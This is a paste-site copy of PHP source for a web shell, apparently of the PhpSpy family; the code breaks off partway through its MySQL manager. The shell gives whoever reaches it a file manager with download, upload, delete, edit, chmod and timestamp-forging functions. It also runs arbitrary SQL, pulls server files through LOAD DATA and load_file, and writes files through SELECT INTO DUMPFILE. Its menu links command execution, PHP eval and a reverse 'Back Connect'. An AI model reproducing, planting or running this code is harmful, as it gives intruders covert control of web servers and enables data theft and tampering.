· 7 years ago · Oct 18, 2018, 04:32 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17 foreach($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26
27
28
29$errmsg = '';
30
31
32if ($action == 'phpinfo') {
33 if (IS_PHPINFO) {
34 phpinfo();
35 } else {
36 $errmsg = 'phpinfo() function has non-permissible';
37 }
38}
39
40if ($doing == 'downfile' && $thefile) {
41 if (!@file_exists($thefile)) {
42 $errmsg = 'The file you want Downloadable was nonexistent';
43 } else {
44 $fileinfo = pathinfo($thefile);
45 header('Content-type: application/x-'.$fileinfo['extension']);
46 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
47 header('Content-Length: '.filesize($thefile));
48 @readfile($thefile);
49 exit;
50 }
51}
52
53
54if ($doing == 'backupmysql' && !$saveasfile) {
55 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
56 $table = array_flip($table);
57 $result = q("SHOW tables");
58 if (!$result) p('<h2>'.mysql_error().'</h2>');
59 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
60 header('Content-type: application/unknown');
61 header('Content-Disposition: attachment; filename='.$filename);
62 $mysqldata = '';
63 while ($currow = mysql_fetch_array($result)) {
64 if (isset($table[$currow[0]])) {
65 $mysqldata .= sqldumptable($currow[0]);
66 }
67 }
68 mysql_close();
69 exit;
70}
71
72if($doing=='mysqldown'){
73 if (!$dbname) {
74 $errmsg = 'Please input dbname';
75 } else {
76 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
77 if (!file_exists($mysqldlfile)) {
78 $errmsg = 'The file you want Downloadable was nonexistent';
79 } else {
80 $result = q("select load_file('$mysqldlfile');");
81 if(!$result){
82 q("DROP TABLE IF EXISTS tmp_angel;");
83 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
84
85 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
86 $result = q("select content from tmp_angel");
87 q("DROP TABLE tmp_angel");
88 }
89 $row = @mysql_fetch_array($result);
90 if (!$row) {
91 $errmsg = 'Load file failed '.mysql_error();
92 } else {
93 $fileinfo = pathinfo($mysqldlfile);
94 header('Content-type: application/x-'.$fileinfo['extension']);
95 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
96 header("Accept-Length: ".strlen($row[0]));
97 echo $row[0];
98 exit;
99 }
100 }
101 }
102}
103
104?>
105<html>
106<head>
107<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
108<meta http-equiv="Content-Language" content="en-us">
109<title><?php echo $SFileName ?></title>
110<style type="text/css">
111<!--
112a:link {
113 color: #0000FF;
114 text-decoration: none;
115}
116a:visited {
117 text-decoration: none;
118 color: #C03;
119}
120a:hover {
121 text-decoration: none;
122 color: #F03;
123}
124a:active {
125 text-decoration: none;
126 color: #000;
127}
128body {
129 background-color: #999999;
130}
131-->
132.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
133.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
134.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
135.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
136.head td span{font-weight:normal;}
137form{margin:0;padding:0;}
138h2{margin:0;padding:0;height:24px;line-height:24px;font-size:16px;color:#000;}
139ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
140u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
141</style>
142<script type="text/javascript">
143function CheckAll(form) {
144 for(var i=0;i<form.elements.length;i++) {
145 var e = form.elements[i];
146 if (e.name != 'chkall')
147 e.checked = form.chkall.checked;
148 }
149}
150function $(id) {
151 return document.getElementById(id);
152}
153function goaction(act){
154 $('goaction').action.value=act;
155 $('goaction').submit();
156}
157</script>
158</head>
159<body style="margin:0;table-layout:fixed; word-break:break-all">
160<table width="100%" border="0" cellpadding="0" cellspacing="0">
161 <tr class="alt1">
162 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
163 <a href="javascript:goaction('logout');">Logout</a> |
164 <a href="javascript:goaction('file');">File Manager</a> |
165 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
166 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
167 <a href="javascript:goaction('shell');">Execute Command</a> |
168 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
169 <a href="javascript:goaction('eval');">Eval PHP Code</a>
170 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
171 </td>
172 <tr>
173 </table>
174
175<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
176<?php
177formhead(array('name'=>'goaction'));
178makehide('action');
179formfoot();
180
181$errmsg && m($errmsg);
182
183
184!$dir && $dir = '.';
185$nowpath = getPath(SA_ROOT, $dir);
186if (substr($dir, -1) != '/') {
187 $dir = $dir.'/';
188}
189$uedir = ue($dir);
190
191if (!$action || $action == 'file') {
192
193
194 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
195
196 if ($doing == 'deldir' && $thefile) {
197 if (!file_exists($thefile)) {
198 m($thefile.' directory does not exist');
199 } else {
200 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
201 }
202 }
203
204 elseif ($newdirname) {
205 $mkdirs = $nowpath.$newdirname;
206 if (file_exists($mkdirs)) {
207 m('Directory has already existed');
208 } else {
209 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
210 @chmod($mkdirs,0777);
211 }
212 }
213
214 elseif ($doupfile) {
215 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
216 }
217
218
219 elseif ($editfilename && $filecontent) {
220 $fp = @fopen($editfilename,'w');
221 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
222 @fclose($fp);
223 }
224
225 elseif ($pfile && $newperm) {
226 if (!file_exists($pfile)) {
227 m('The original file does not exist');
228 } else {
229 $newperm = base_convert($newperm,8,10);
230 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
231 }
232 }
233
234 elseif ($oldname && $newfilename) {
235 $nname = $nowpath.$newfilename;
236 if (file_exists($nname) || !file_exists($oldname)) {
237 m($nname.' has already existed or original file does not exist');
238 } else {
239 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
240 }
241 }
242
243 elseif ($sname && $tofile) {
244 if (file_exists($tofile) || !file_exists($sname)) {
245 m('The goal file has already existed or original file does not exist');
246 } else {
247 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
248 }
249 }
250
251 elseif ($curfile && $tarfile) {
252 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
253 m('The goal file has already existed or original file does not exist');
254 } else {
255 $time = @filemtime($tarfile);
256 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
257 }
258 }
259
260 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
261 if (!@file_exists($curfile)) {
262 m(basename($curfile).' does not exist');
263 } else {
264 $time = strtotime("$year-$month-$day $hour:$minute:$second");
265 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
266 }
267 }
268
269 elseif($doing == 'downrar') {
270 if ($dl) {
271 $dfiles='';
272 foreach ($dl as $filepath => $value) {
273 $dfiles.=$filepath.',';
274 }
275 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
276 $dl=explode(',',$dfiles);
277 $zip=new PHPZip($dl);
278 $code=$zip->out;
279 header('Content-type: application/octet-stream');
280 header('Accept-Ranges: bytes');
281 header('Accept-Length: '.strlen($code));
282 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
283 echo $code;
284 exit;
285 } else {
286 m('Please select file(s)');
287 }
288 }
289
290 elseif($doing == 'delfiles') {
291 if ($dl) {
292 $dfiles='';
293 $succ = $fail = 0;
294 foreach ($dl as $filepath => $value) {
295 if (@unlink($filepath)) {
296 $succ++;
297 } else {
298 $fail++;
299 }
300 }
301 m('Deleted file have finishedЈ¬choose '.count($dl).' success '.$succ.' fail '.$fail);
302 } else {
303 m('Please select file(s)');
304 }
305 }
306
307 formhead(array('name'=>'createdir'));
308 makehide('newdirname');
309 makehide('dir',$nowpath);
310 formfoot();
311 formhead(array('name'=>'fileperm'));
312 makehide('newperm');
313 makehide('pfile');
314 makehide('dir',$nowpath);
315 formfoot();
316 formhead(array('name'=>'copyfile'));
317 makehide('sname');
318 makehide('tofile');
319 makehide('dir',$nowpath);
320 formfoot();
321 formhead(array('name'=>'rename'));
322 makehide('oldname');
323 makehide('newfilename');
324 makehide('dir',$nowpath);
325 formfoot();
326 formhead(array('name'=>'fileopform'));
327 makehide('action');
328 makehide('opfile');
329 makehide('dir');
330 formfoot();
331
332 $free = @disk_free_space($nowpath);
333 !$free && $free = 0;
334 $all = @disk_total_space($nowpath);
335 !$all && $all = 0;
336 $used = $all-$free;
337 $used_percent = @round(100/($all/$free),2);
338 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>' );
339
340?>
341<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
342 <form action="" method="post" id="godir" name="godir">
343 <tr>
344 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
345 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
346 <td nowrap><input class="bt" value="GO" type="submit"></td>
347 </tr>
348 </form>
349</table>
350<script type="text/javascript">
351function createdir(){
352 var newdirname;
353 newdirname = prompt('Please input the directory name:', '');
354 if (!newdirname) return;
355 $('createdir').newdirname.value=newdirname;
356 $('createdir').submit();
357}
358function fileperm(pfile){
359 var newperm;
360 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
361 if (!newperm) return;
362 $('fileperm').newperm.value=newperm;
363 $('fileperm').pfile.value=pfile;
364 $('fileperm').submit();
365}
366function copyfile(sname){
367 var tofile;
368 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
369 if (!tofile) return;
370 $('copyfile').tofile.value=tofile;
371 $('copyfile').sname.value=sname;
372 $('copyfile').submit();
373}
374function rename(oldname){
375 var newfilename;
376 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
377 if (!newfilename) return;
378 $('rename').newfilename.value=newfilename;
379 $('rename').oldname.value=oldname;
380 $('rename').submit();
381}
382function dofile(doing,thefile,m){
383 if (m && !confirm(m)) {
384 return;
385 }
386 $('filelist').doing.value=doing;
387 if (thefile){
388 $('filelist').thefile.value=thefile;
389 }
390 $('filelist').submit();
391}
392function createfile(nowpath){
393 var filename;
394 filename = prompt('Please input the file name:', '');
395 if (!filename) return;
396 opfile('editfile',nowpath + filename,nowpath);
397}
398function opfile(action,opfile,dir){
399 $('fileopform').action.value=action;
400 $('fileopform').opfile.value=opfile;
401 $('fileopform').dir.value=dir;
402 $('fileopform').submit();
403}
404function godir(dir,view_writable){
405 if (view_writable) {
406 $('godir').view_writable.value=1;
407 }
408 $('godir').dir.value=dir;
409 $('godir').submit();
410}
411</script>
412 <?php
413 tbhead();
414 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
415 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
416 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
417 if ($view_writable) {
418 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
419 } else {
420 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
421 }
422 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
423 if (IS_WIN && IS_COM) {
424 $obj = new COM('scripting.filesystemobject');
425 if ($obj && is_object($obj)) {
426 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
427 foreach($obj->Drives as $drive) {
428 if ($drive->DriveType == 2) {
429 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
430 } else {
431 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
432 }
433 }
434 }
435 }
436
437 p('</td></tr></form>');
438
439 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
440
441 $dirdata=array();
442 $filedata=array();
443
444 if ($view_writable) {
445 $dirdata = GetList($nowpath);
446 } else {
447 $dirs=@opendir($dir);
448 while ($file=@readdir($dirs)) {
449 $filepath=$nowpath.$file;
450 if(@is_dir($filepath)){
451 $dirdb['filename']=$file;
452 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
453 $dirdb['dirchmod']=getChmod($filepath);
454 $dirdb['dirperm']=getPerms($filepath);
455 $dirdb['fileowner']=getUser($filepath);
456 $dirdb['dirlink']=$nowpath;
457 $dirdb['server_link']=$filepath;
458 $dirdb['client_link']=ue($filepath);
459 $dirdata[]=$dirdb;
460 } else {
461 $filedb['filename']=$file;
462 $filedb['size']=sizecount(@filesize($filepath));
463 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
464 $filedb['filechmod']=getChmod($filepath);
465 $filedb['fileperm']=getPerms($filepath);
466 $filedb['fileowner']=getUser($filepath);
467 $filedb['dirlink']=$nowpath;
468 $filedb['server_link']=$filepath;
469 $filedb['client_link']=ue($filepath);
470 $filedata[]=$filedb;
471 }
472 }// while
473 unset($dirdb);
474 unset($filedb);
475 @closedir($dirs);
476 }
477 @sort($dirdata);
478 @sort($filedata);
479 $dir_i = '0';
480 foreach($dirdata as $key => $dirdb){
481 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
482 $thisbg = bg();
483 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
484 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
485 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
486 p('<td nowrap>'.$dirdb['mtime'].'</td>');
487 p('<td nowrap>--</td>');
488 p('<td nowrap>');
489 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
490 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
491 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
492 p('</tr>');
493 $dir_i++;
494 } else {
495 if($dirdb['filename']=='..') {
496 p('<tr class='.bg().'>');
497 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
498 p('</tr>');
499 }
500 }
501 }
502
503 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
504 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
505 makehide('action','file');
506 makehide('thefile');
507 makehide('doing');
508 makehide('dir',$nowpath);
509 $file_i = '0';
510 foreach($filedata as $key => $filedb){
511 if($filedb['filename']!='..' && $filedb['filename']!='.') {
512 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
513 $thisbg = bg();
514 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
515 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
516 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
517 p('<td nowrap>'.$filedb['mtime'].'</td>');
518 p('<td nowrap>'.$filedb['size'].'</td>');
519 p('<td nowrap>');
520 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
521 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
522 p('<td nowrap>');
523 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
524 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
525 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
526 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
527 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
528 p('</td></tr>');
529 $file_i++;
530 }
531 }
532 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
533 p('</form></table>');
534}// end dir
535
536elseif ($action == 'sqlfile') {
537 if($doing=="mysqlupload"){
538 $file = $_FILES['uploadfile'];
539 $filename = $file['tmp_name'];
540 if (file_exists($savepath)) {
541 m('The goal file has already existed');
542 } else {
543 if(!$filename) {
544 m('Please choose a file');
545 } else {
546 $fp=@fopen($filename,'r');
547 $contents=@fread($fp, filesize($filename));
548 @fclose($fp);
549 $contents = bin2hex($contents);
550 if(!$upname) $upname = $file['name'];
551 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
552 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
553 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
554 }
555 }
556 }
557?>
558<script type="text/javascript">
559function mysqlfile(doing){
560 if(!doing) return;
561 $('doing').value=doing;
562 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
563 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
564 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
565 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
566 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
567 $('mysqlfile').charset.value=$('dbinfo').charset.value;
568 $('mysqlfile').submit();
569}
570</script>
571<?php
572 !$dbhost && $dbhost = 'localhost';
573 !$dbuser && $dbuser = 'root';
574 !$dbport && $dbport = '3306';
575 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
576 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
577 makehide('action','sqlfile');
578 p('<p>');
579 p('DBHost:');
580 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
581 p(':');
582 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
583 p('DBUser:');
584 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
585 p('DBPass:');
586 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
587 p('DBName:');
588 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
589 p('DBCharset:');
590 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
591 p('</p>');
592 formfoot();
593 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
594 p('<h2>Upload file</h2>');
595 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
596 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
597 p('<h2>Download file</h2>');
598 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
599 makehide('dbhost');
600 makehide('dbport');
601 makehide('dbuser');
602 makehide('dbpass');
603 makehide('dbname');
604 makehide('charset');
605 makehide('doing');
606 makehide('action','sqlfile');
607 p('</form>');
608}
609
610elseif ($action == 'sqladmin') {
611 !$dbhost && $dbhost = 'localhost';
612 !$dbuser && $dbuser = 'root';
613 !$dbport && $dbport = '3306';
614 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
615 if(isset($dbhost)){
616 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
617 }
618 if(isset($dbuser)) {
619 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
620 }
621 if(isset($dbpass)) {
622 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
623 }
624 if(isset($dbport)) {
625 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
626 }
627 if(isset($dbname)) {
628 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
629 }
630 if(isset($charset)) {
631 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
632 }
633
634 if ($doing == 'backupmysql' && $saveasfile) {
635 if (!$table) {
636 m('Please choose the table');
637 } else {
638 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
639 $table = array_flip($table);
640 $fp = @fopen($path,'w');
641 if ($fp) {
642 $result = q('SHOW tables');
643 if (!$result) p('<h2>'.mysql_error().'</h2>');
644 $mysqldata = '';
645 while ($currow = mysql_fetch_array($result)) {
646 if (isset($table[$currow[0]])) {
647 sqldumptable($currow[0], $fp);
648 }
649 }
650 fclose($fp);
651 $fileurl = str_replace(SA_ROOT,'',$path);
652 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
653 mysql_close();
654 } else {
655 m('Backup failed');
656 }
657 }
658 }
659 if ($insert && $insertsql) {
660 $keystr = $valstr = $tmp = '';
661 foreach($insertsql as $key => $val) {
662 if ($val) {
663 $keystr .= $tmp.$key;
664 $valstr .= $tmp."'".addslashes($val)."'";
665 $tmp = ',';
666 }
667 }
668 if ($keystr && $valstr) {
669 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
670 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
671 }
672 }
673 if ($update && $insertsql && $base64) {
674 $valstr = $tmp = '';
675 foreach($insertsql as $key => $val) {
676 $valstr .= $tmp.$key."='".addslashes($val)."'";
677 $tmp = ',';
678 }
679 if ($valstr) {
680 $where = base64_decode($base64);
681 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
682 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
683 }
684 }
685 if ($doing == 'del' && $base64) {
686 $where = base64_decode($base64);
687 $delete_sql = "DELETE FROM $tablename WHERE $where";
688 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
689 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
690 }
691
692 if ($tablename && $doing == 'drop') {
693 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
694 if (q("DROP TABLE $tablename")) {
695 m('Drop table of success');
696 $tablename = '';
697 } else {
698 m(mysql_error());
699 }
700 }
701
702 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
703
704 formhead(array('title'=>'MYSQL Manager'));
705 makehide('action','sqladmin');
706 p('<p>');
707 p('DBHost:');
708 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
709 p(':');
710 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
711 p('DBUser:');
712 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
713 p('DBPass:');
714 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
715 p('DBCharset:');
716 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
717 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
718 p('</p>');
719 formfoot();
720?>
721<script type="text/javascript">
722function editrecord(action, base64, tablename){
723 if (action == 'del') {
724 if (!confirm('Is or isn\'t deletion record?')) return;
725 }
726 $('recordlist').doing.value=action;
727 $('recordlist').base64.value=base64;
728 $('recordlist').tablename.value=tablename;
729 $('recordlist').submit();
730}
731function moddbname(dbname) {
732 if(!dbname) return;
733 $('setdbname').dbname.value=dbname;
734 $('setdbname').submit();
735}
736function settable(tablename,doing,page) {
737 if(!tablename) return;
738 if (doing) {
739 $('settable').doing.value=doing;
740 }
741 if (page) {
742 $('settable').page.value=page;
743 }
744 $('settable').tablename.value=tablename;
745 $('settable').submit();
746}
747</script>
748<?php
749
750 formhead(array('name'=>'recordlist'));
751 makehide('doing');
752 makehide('action','sqladmin');
753 makehide('base64');
754 makehide('tablename');
755 p($dbform);
756 formfoot();
757
758 formhead(array('name'=>'setdbname'));
759 makehide('action','sqladmin');
760 p($dbform);
761 if (!$dbname) {
762 makehide('dbname');
763 }
764 formfoot();
765
766
767 formhead(array('name'=>'settable'));
768 makehide('action','sqladmin');
769 p($dbform);
770 makehide('tablename');
771 makehide('page',$page);
772 makehide('doing');
773 formfoot();
774
775 $cachetables = array();
776 $pagenum = 30;
777 $page = intval($page);
778 if($page) {
779 $start_limit = ($page - 1) * $pagenum;
780 } else {
781 $start_limit = 0;
782 $page = 1;
783 }
784 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
785 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
786
787 $mysqlver = mysql_get_server_info();
788 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
789 $highver = $mysqlver > '4.1' ? 1 : 0;
790
791 $query = q("SHOW DATABASES");
792 $dbs = array();
793 $dbs[] = '-- Select a database --';
794 while($db = mysql_fetch_array($query)) {
795 $dbs[$db['Database']] = $db['Database'];
796 }
797 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
798 $tabledb = array();
799 if ($dbname) {
800 p('<p>');
801 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
802 if ($tablename) {
803 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
804 }
805 p('</p>');
806 mysql_select_db($dbname);
807
808 $getnumsql = '';
809 $runquery = 0;
810 if ($sql_query) {
811 $runquery = 1;
812 }
813 $allowedit = 0;
814 if ($tablename && !$sql_query) {
815 $sql_query = "SELECT * FROM $tablename";
816 $getnumsql = $sql_query;
817 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
818 $allowedit = 1;
819 }
820 p('<form action="'.$self.'" method="POST">');
821 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
